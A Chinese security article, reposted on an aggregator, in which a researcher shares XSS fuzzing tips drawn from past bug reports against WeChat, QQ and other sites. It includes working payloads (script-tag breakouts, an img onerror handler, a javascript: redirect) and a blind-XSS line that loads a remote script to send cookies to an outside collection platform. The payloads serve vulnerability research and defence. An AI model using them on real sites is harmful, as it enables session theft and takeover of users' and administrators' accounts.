跨站的藝術-XSS Fuzzing 的技巧

作者 | 張祖優(Fooying) ?騰訊云 云鼎實驗室

對于XSS的漏洞挖掘過程,其實就是一個使用Payload不斷測試和調整再測試的過程,這個過程我們把它叫做Fuzzing;同樣是Fuzzing,有些人挖洞比較高效,有些人卻不那么容易挖出漏洞,除了掌握的技術之外,比如編碼的繞過處理等,還包含一些技巧性的東西,掌握一些技巧和規律,可以使得挖洞會更加從容。

XSS應該是我挖過的最多漏洞的一種Web漏洞類型,累積下來,就國內BAT、金山、新浪、網易等這些互聯網公司的XSS,應該至少也有超過100個,這篇文章主要就是根據自己的一些經驗與大家一起探討編碼繞過、處理等技術因素之外的XSS Fuzzing的一些技巧。

Fuzzing(模糊測試)是挖掘漏洞最常用的手段之一,不止是XSS,應該可以說Fuzzing可以用于大部分類型的漏洞挖掘。通俗可以把這種方式理解為不斷嘗試的過程。

XSS的Fuzzing流程




這是一個比較常規的Web漏掃中XSS檢測插件的一個流程圖,其中比較關鍵的幾個點在于:

  1. 檢測輸入點
  2. 潛在注入點檢測
  3. 生成Payload
  4. Payload攻擊驗證

檢測輸入點其實就是尋找數據入口,比如說GET/POST數據,或者Header頭部里的UA/Referer/Cookie,再或者URL路徑等等,這些都可以成為輸入入口,轉換為比較形象點的說法,比如看到一個搜索框,你可能會在搜索框里提交關鍵詞進行搜索,那么這里可能就發生了一個GET或者POST請求,這里其實就是一個輸入點。

其次是潛在注入點檢測,潛在注入的檢測是判斷輸入點是否可以成功把數據注入到頁面內容,對于提交數據內容但是不輸出到頁面的輸入點是沒有必要進行Fuzzing的,因為即使可以提交攻擊代碼,也不會產生XSS;在潛在注入點的檢測通常使用的是一個隨機字符串,比如隨機6位數字,再判斷這6位數字是否返回輸出在頁面,以此來進行判斷。為什么不直接使用Payload進行判斷呢?因為Payload里包含了攻擊代碼,通常很多應用都有防火墻或者過濾機制,Payload中的關鍵詞會被攔截導致提交失敗或者不會返回輸出在頁面,但這種情況不代表不能XSS,因為有可能只是Payload不夠好,沒有繞過過濾或者其他安全機制,所以采用無害的隨機數字字符就可以避免這種情況產生,先驗證可注入,再調整Payload去繞過過濾;而隨機的目的在于不希望固定字符成為XSS防御黑名單里的關鍵詞。

再者就是生成Payload和進行攻擊驗證的過程,Payload的好壞決定了攻擊是否可以成功;而對于不同情況的注入點,需要使用的Payload也是不同的,比如,注入的位置在標簽屬性中還是標簽事件中,使用的Payload是不同的;

標簽屬性中:如<a href="注入位置">test</a>,Payload:"></a><script>alert(0)</script><a href=" 標簽事件中:<img href="a.jpg" onload="注入位置">, Payload:alert(0) 

其實Payload的生成就是一個不斷Fuzzing和不斷調整的過程,根據注入位置上下文代碼的結構、內容以及應用過濾機制等不斷調整和不斷提交測試的過程,下圖是一個Payload的生成流程。

那么假如某次Payload調整后Fuzzing成功,也就意味XSS注入成功,并得出這個漏洞的PoC。

其實為什么一開始就介紹下掃描器常規的XSS檢測方式呢?因為手工Fuzzing XSS其實也是這樣一個過程,很多安全工具其實就是將手工的過程自動化。

接下來進入正題我們一起探討一些XSS的挖掘技巧。

不一樣的昵稱

這是一個微信網頁版的存儲型XSS,注入點是微信昵稱的位置(右圖),通過訪問微信群成員列表可以觸發XSS導致彈框。

這是微信某個春節搖一搖活動的XSS(這里是生效了<h1>),通過微信訪問活動頁面,自動授權后獲取微信昵稱并自動顯示在活動頁面,當時微信昵稱是:<h1>張祖優(Fooying)";alert(0)//,由于<h1>生效,導致昵稱顯示變大。

這仍然是騰訊某個產品的活動頁面,也是通過微信點擊自動獲取昵稱然后在活動頁面顯示,這個截圖的頁面鏈接實際是:http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">點擊抽獎</a>&type=share&from=timeline&isappinstalled=1(相當于當時我的昵稱是:<a href="http://www.fooying.com">點擊抽獎</a>

這也是一個微信網頁版存儲型XSS,注入點同樣是在昵稱,通過訪問通訊錄可以觸發XSS,觸發的昵稱大概是:<img src=0 onerror=alert(5)>

看了幾個漏洞,再給大家看看我之前的QQ昵稱和微信昵稱:




其中右圖的昵稱是<h1>張祖優(Fooying)";alert(0)//

看了上面的例子,我想大家已經可以發現,前面的幾個XSS其實都是基本通過昵稱的位置提交攻擊代碼導致了XSS的產生,這其實就是一種XSS被動挖掘的技巧。其實漏洞挖掘,特別是XSS,有時候是靠主動挖掘,但更多的時候也可以通過被動的方式發現,特別是類似QQ、微信這種一號多用的情況,可以想象你的微信昵稱、QQ昵稱或者簽名等,在不同的應用、網頁中登錄,你的昵稱就會在不同的地方顯示,這些昵稱在微信、QQ本身不會導致問題的產生,但到了其他頁面呢?也許就會導致問題的產生。

當然,現在微信應不允許設置含有特殊字符的昵稱了,而QQ大家也可以看到,對尖括號進行了轉義,不過在這之前,單單就微信昵稱,通過這種方式,我起碼發現了騰訊以及非騰訊的各種朋友圈中的活動的不下于二十個XSS。

網址跳轉中的規律

這是一個13年提交的騰訊云登錄跳轉的XSS。

前一段時間雷鋒網有對我做了一個采訪,這篇文章也發在KM上,不知道大家有沒有看到其中有一個細節,講的是我為了哄女朋友開心,然后挖洞收集公仔,當時其實我是在兩天內挖洞十幾個洞,并且都是XSS。可能大家就會好奇為什么能一下子挖洞那么多的洞,還是不同廠商的,我現在能記得的有YY、4399、搜狐暢游等,其實是當時找到一個規律,上圖中騰訊云的這個XSS也屬于這個規律,所以就專門提出來。

登錄和注冊是大部分網站的必備功能,而不知道大家有沒有注意到一個細節,當你在未登錄狀態下訪問一些需要需要登錄態的頁面,比如個人中心,他會自動跳轉到登錄或者注冊頁面要求你登錄,然后這個時候的登錄URL其實會帶有一個跳轉URL,這是為了方便你登錄后直接跳轉到你原來訪問的頁面,是一個比較好的用戶體驗的設計。

在使用這樣的功能的時候,我直接手上嘗試,直接把跳轉的URL修改為我的博客鏈接,然后再登錄,發現可以直接跳轉到我的博客,于是我再嘗試了javascript%3Aalert(0),發現JS代碼可以直接執行并彈了個框。這個功能的設計其實原來是進行站內的跳轉,但是由于功能設計上的缺陷,沒有對跳轉的URL進行判斷或者判斷有問題,于是可以導致直接跳轉到其他網站或者產生XSS。當然,不止是登錄,注冊功能也存在同樣問題。當時我去測試了很多網站,發現很多網站就存在這樣的問題,于是我才可以做到連續去挖不同網站的漏洞來收集公仔,就是用了同樣的一個問題。

http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx

而整體的測試流程大概是這樣的:

#號里的秘密

這是之前騰訊云官網的一個DOM XSS

這是之前微信國外版官網的一處 DOM XSS

這是之前ent.qq.com域下的一個DOM XSS,這里應該是實現一個頁面訪問來源統計的功能,將referer拼接到URL通過img加載的方式發起GET請求以此向服務端發送訪問來源URL,黑客可以構造地址為http://www.0xsafe.com" onerror="alert(0)?的頁面點擊鏈接跳轉到?http://datalib.ent.qq.com/tv/3362/detail.shtml,就可以觸發XSS。

這是比較早提交的一個游戲igame.qq.com的DOM XSS,這處的XSS正好當時保存下JS,如下,讀取window.location然后寫入到ID為output的標簽代碼里,于是導致XSS的產生。

<script language="JavaScript"> document.domain="qq.com"; function pageLoaded(){ window.parent.dhtmlHistory.iframeLoaded(window.location); document.getElementById("output").innerHTML = window.location; } </script> 

這類XSS都是DOM XSS,DOM XSS不同于其他類型的XSS,XSS的產生是由于頁面中的JS代碼在頁面渲染完成后通過讀取URL等內容修改頁面DOM樹而產生的XSS。

其實不難可以發現,這類XSS在大部分情況下也是有一些技巧可言的,比如大家可以發現網址中都存在#(DOM XSS不是一定URL得存在#,只是這種情況比較常見);那么是不是見到網址中存在#就可以隨便去修改#后面的內容就Fuzzing一通呢?當然不是,還需要去判斷頁面的源碼中的JS代碼以及頁面引用的JS文件的代碼中是否存在對以下內容的使用,是否存在沒有過濾或者過濾不全的情況下將以下的內容直接輸入到DOM樹里。

document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location

被改變的內容

一旦有存在以上的情況,那么往往存在DOM XSS的概率就比較大,接下來就是看看能不能繞過相關的過濾和安全機制的處理。

這是之前挖的一個存在于以前PC 版本QQ的網頁預覽功能的一個XSS;通過在聊天窗口分享文章,然后點擊鏈接會在右側打開頁面顯示文章的內容,會導致XSS的產生。

為什么在客戶端里也會存在XSS?其實很多客戶端,包括現在很多手機APP,很多功能都是通過內嵌網頁進行實現的,于是也就為什么會存在XSS等前端問題。這些網頁可以通過設置代理的方式來發現。

這是一篇發表在博客園的文章,文章里包含一些XSS的攻擊代碼,但是可以發現代碼在博客園本身已經被進行了轉義,沒法產生XSS。

而文章被在QQ中預覽的時候,可以發現,被轉義的攻擊代碼又轉義了回來(因為這個功能需要只顯示文本內容,而刪除一些沒必要的頁面框架、內容的顯示,所有對內容有做了一些轉碼等操作),導致的攻擊代碼的生效,并由此產生了XSS(其實這類XSS叫做mXSS,突變型XSS)。

這是一篇發表在微信公眾號的文章,文章中包含了一些XSS盲打(后面會進行介紹)的攻擊代碼,然后可以看到,在微信公眾號文章里代碼被進行了轉義,而無法生效產生XSS。

chuansong.me是一個第三方網站,會主動采集微信公眾號上的一些文章并生成訪問鏈接和索引,可以看到同樣的一篇文章在被傳送門采集轉載后,本來會被轉義的代碼直接生效了,于是就成為了存儲型XSS,我們通過盲打平臺也可以看到其他用戶訪問這篇文章而被采集并發送到盲打平臺的Cookie。

有的時候,被轉義的內容也會成為生效的攻擊代碼,通過控制源頭的方式也可以使得XSS的攻擊產生。

隨手進行的XSS盲打

這是我XSS盲打平臺項目的其中一頁結果截圖,這里的每一項都包含對應網址訪問用戶的Cookie,而Cookie則可以用來直接登錄對應的地址;在圖里包含了360 soso、360游戲客服、新浪郵箱等幾個網站的后臺的Cookie,不過可惜的是,由于這些平臺進行了訪問限制,所以外網無法訪問,也無法登錄。

拋開無法訪問的問題,那么這些信息是怎么得來了呢?XSS盲打。

常規的XSS攻擊是通過頁面返回內容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功;而對于一些網頁功能,比如反饋,我們可以發現,不管你提交什么內容,返回的內容都是"感謝您的反饋"類似的語句,并不會根據你提交的內容而在頁面中顯示不同的內容,對于這樣的內容提交點,就無法通過頁面反饋判斷攻擊代碼是否注入成功,那么就可以通過XSS盲打。

XSS盲打一般通過XSS盲打平臺,在XSS盲打平臺建立項目,會生成項目攻擊鏈接,實際上就是一個類似JS文件的訪問鏈接,這個JS文件中其中至少包含一個功能,那就是向盲打平臺發送GET/POST請求傳輸數據回來,比如Cookie,這樣的話,類似在反饋頁面提交的攻擊代碼一旦生效,就等于JS代碼被執行,那么就會向盲打平臺返回數據,那就說明攻擊成功了;假如一直沒有返回數據,那就說明提交的攻擊代碼沒有執行或者執行出問題,也就證明攻擊失敗。

盲打平臺的項目:

對于我而言,看到類似下圖這樣一個內容提交的地方,我都會忍不住提交盲打代碼

</textarea>'"><script src=http://t.cn/R6qRcps></script> 

而類似于這樣的功能,如果存在XSS,一般會在什么地方什么時候出發攻擊代碼呢?管理人員在后臺審核這些內容的時候,所以說一般XSS盲打如果成功,往往可以獲得對應功能管理后臺的地址以及管理員的Cookie,假如管理后臺沒有做訪問的限制,就能用對應管理員的Cookie登錄上去。

這就是上圖手游客服中心盲打成功得到的后臺地址和Cookie(當前已失效并修復)。

總結

在XSS的世界里有很多的Fuzzing技巧和方式,學會從正常功能中發現攻擊方式,在Web安全的世界里,除了技術,還需要猥瑣的思維和技巧。

另外,其實大家不難發現,不管是昵稱、網址跳轉或者是文章提到的內容轉義的變化也好,很多時候內容原有的地方并不會觸發XSS,而內容在其他地方使用后則就觸發了XSS,所以對于開發人員來說,不管是來自哪里的內容,都應該有自己的過濾機制,而不能完全的信任,其實總結一句話就是:任何的輸入都是有害的!

?

相關閱讀:

MySQL成勒索新目標,數據服務基線安全問題迫在眉睫
一篇文章帶你看懂Cloudflare信息泄露事件
新增線下、APP、公眾號多處入口,小程序會再火起來么?(內有福利)


此文已由作者授權騰訊云技術社區發布,轉載請注明文章出處,

原文鏈接?https://www.qcloud.com/community/article/172258001490259493,

獲取更多云計算技術干貨,可請前往騰訊云技術社區,歡迎大家關注騰訊云技術社區-博客園官方主頁,我們將持續在博客園為大家推薦技術精品文章哦~

轉載于:https://www.cnblogs.com/qcloud1001/p/6650199.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/456123.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/456123.shtml
英文地址,請注明出處:http://en.pswp.cn/news/456123.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

H.264/AVC視頻壓縮編碼標準的新進展

H .264/AVC是由ISO/IEC與ITU-T組成的聯合視頻組(JVT)制定的新一代視頻壓縮編碼標準&#xff0c;于2003年5月完成制訂。相對于先前的標準&#xff0c;H.264/AVC無論在壓縮效率、還是在網絡適應性方面都有明顯的提高&#xff0c;因此&#xff0c;業界普遍預測其將在未來的視頻應用…

python注釋及語句分類

注釋 注釋就是&#xff1a;注解&#xff0c;解釋。 主要用于在代碼中給代碼標識出相關的文字提示(提高代碼的可讀性) 或 調試程序。Python中注釋分為兩類&#xff1a; 1.單行注釋 &#xff1a; 單行注釋以 # 號開頭&#xff0c;在當前行內&#xff0c;# 號后面的內容就是注釋…

【機器學習】回歸誤差:MSE、RMSE、MAE、R2、Adjusted R2 +方差、協方差、標準差(標準偏差/均方差)、均方誤差、均方根誤差(標準誤差)、均方根解釋

我們通常采用MSE、RMSE、MAE、R2來評價回歸預測算法。 1、均方誤差&#xff1a;MSE&#xff08;Mean Squared Error&#xff09; 其中&#xff0c;為測試集上真實值-預測值。 def rms(y_test, y): return sp.mean((y_test - y) ** 2) 2、均方根誤差&#xff1a;RMSE&#xff…

大院大所合作對接會7天倒計時!亮點搶先看

為什么80%的碼農都做不了架構師&#xff1f;>>> 推動產業特色發展&#xff0c;提升企業自主創新能力&#xff0c;加快成果轉化落地&#xff0c;繼江蘇發展大會之后&#xff0c;圍繞“聚力創新”&#xff0c;7月5日-6日&#xff0c;中國江蘇大院大所合作對接會暨第六…

通過取父級for循環的i來理解閉包,iife,匿名函數

在使用for循環的時候&#xff0c;假如需要在循環體中添加一個匿名函數處理其他的事情&#xff0c;那么&#xff0c;在這個匿名函數內&#xff0c;如果需要用到對應的i&#xff0c;因為閉包的緣故&#xff0c;循環體循環結束后才返回i&#xff0c;所以i最終為最后一次的數值。閉…

H.264將普及 視頻編碼講壇之H.264前世今生

隨著HDTV等高清資源的興起&#xff0c;H.264這個規范頻頻出現在我們眼前&#xff0c;HD-DVD和藍光DVD均計劃采用這一標準進行節目制作。而且自2005年下半年以來&#xff0c;無論是NVIDIA還是ATI都把支持H.264硬件解碼加速作為自己最值得夸耀的視頻技術。而數碼播放器領域也吹來…

python命令方式和關鍵字

常用命名方式 不管是文件&#xff0c;變量&#xff0c;函數或類名等等&#xff0c;命名都要遵守一個基本規范&#xff0c;就是&#xff0c;命名要有意義&#xff0c;易讀易懂。因此&#xff0c;兩種主流的命名方式出現了&#xff0c;他們分別是駝峰命名方法 和 使用下劃線分隔…

【機器學習】嶺回歸

import numpy as npimport matplotlib.pyplot as plt %matplotlib inlinefrom sklearn.model_selection import train_test_splitfrom sklearn.metrics import mean_squared_error,r2_score from sklearn import datasets# CV crosss validation &#xff1a;交叉驗證 from skl…

P1057 傳球游戲

題目描述 上體育課的時候&#xff0c;小蠻的老師經常帶著同學們一起做游戲。這次&#xff0c;老師帶著同學們一起做傳球游戲。 游戲規則是這樣的&#xff1a;n個同學站成一個圓圈&#xff0c;其中的一個同學手里拿著一個球&#xff0c;當老師吹哨子時開始傳球&#xff0c;每個同…

Keepalived 添加腳本配置監控haproxy方案

作者&#xff1a;風過無痕-唐出處&#xff1a;http://www.cnblogs.com/tangyanbo/ 上一篇文章已經講到了keepalived實現雙機熱備&#xff0c;且遺留了一個問題 master的網絡不通的時候&#xff0c;可以立即切換到slave&#xff0c;但是如果只是master上的應用出現問題的時候&am…

H.264編解碼標準的核心技術(提供相關流程圖)

最近在學習H.264編解碼知識&#xff0c;上網搜了不少資料看&#xff0c;發現大多數中文資料中都缺少相應的圖片&#xff0c;例如編解碼流程圖、編碼模板等&#xff0c;這對加深理解是很有幫助 的。木有辦法&#xff0c;只好回去潛心閱讀《H.264_MPEG-4_Part_10_White_Paper》&a…

【機器學習】總結:線性回歸求解中梯度下降法與最小二乘法的比較

在線性回歸算法求解中&#xff0c;常用的是最小二乘法與梯度下降法&#xff0c;其中梯度下降法是最小二乘法求解方法的優化&#xff0c;但這并不說明梯度下降法好于最小二乘法&#xff0c;實際應用過程中&#xff0c;二者各有特點&#xff0c;需結合實際案例具體分析。 最后有…

struts2學習(3)struts2核心知識II

一、struts.xml配置&#xff1a;                                                   1.分模塊配置方法&#xff1a; 比如某個系統多個模塊&#xff0c;我們把資產管理模塊和車輛管理模塊&#xff0c;分開&#xff0c;在總…

【機器學習】邏輯斯蒂回歸概率計算和手動計算對比

二分類&#xff0c;邏輯斯蒂回歸概率計算 import numpy as np from sklearn import datasets from sklearn.linear_model import LogisticRegression from sklearn.model_selection import train_test_splitX,y datasets.load_iris(True)cond y!2X X[cond] y y[cond]resul…

WPF快速指導2:模板

WPF快速指導2&#xff1a;模板 本文摘要&#xff1a; 1&#xff1a;模板作用&#xff1b; 2&#xff1a;樣式模板&#xff1b; 3&#xff1a;數據模板&#xff1b; 4&#xff1a;如何使用ControlTemplate&#xff1b; 5&#xff1a;如何使用DataTempla…

五個最佳媒體格式轉換器

我們經常會遇到下載的視頻文件格式不對&#xff0c;無法在其他播放設備&#xff08;如手機、DVD&#xff09;中使用的問題&#xff0c;現在&#xff0c;我們介紹五個功能強大且易于使用的媒體轉換器&#xff0c;用于轉換不同類型的視頻文件。   Super (Windows) Super是一個免…

【機器學習】六種算法在人臉補全中的應用比較(K緊鄰,線性,決策樹,嶺回歸,套索回歸,ElasticNet)

需求&#xff1a; 根據人的上半邊臉預測下半邊臉&#xff0c;用各種算法取得的結果與原圖比較 思考&#xff1a; 這是一個回歸問題&#xff0c;不是分類問題&#xff08;人臉數據不固定&#xff09; 數據集一共包含40個人&#xff0c;每一個人10張照片&#xff0c;分布規律 每…

性能優化之NSDateFormatter

為什么要優化NSDateFormatter&#xff1f;首先&#xff0c;過度的創建NSDateFormatter用于NSDate與NSString之間轉換&#xff0c;會導致App卡頓&#xff0c;打開Profile工具查一下性能&#xff0c;你會發現這種操作占CPU比例是非常高的。據官方說法&#xff0c;創建NSDateForma…

QuickTime文件格式解析

QuickTime文件格式解析Peter Lee 2008-06-14 一、簡介 QuickTime是Apple公司開發的一套完整的多媒體平臺架構&#xff0c;可以用來進行多種媒體的創建&#xff0c;生產&#xff0c;和分發&#xff0c;并為這一過程提供端到端的支持&#xff1a;包括媒體的實時捕捉&#xff0c;…

python的數據類型轉換

數據類型轉換 將數據由當前類型變化為其他類型的操作就是數據類型轉換。數據類型轉換分為兩類&#xff0c;分別是自動數據類型轉換 和 強制數據類型轉換。 自動轉換(隱式轉換) 自動轉換時程序根據運算要求進行的轉換&#xff0c;不許要人工干預。 1.自動類型轉換不需要人工干…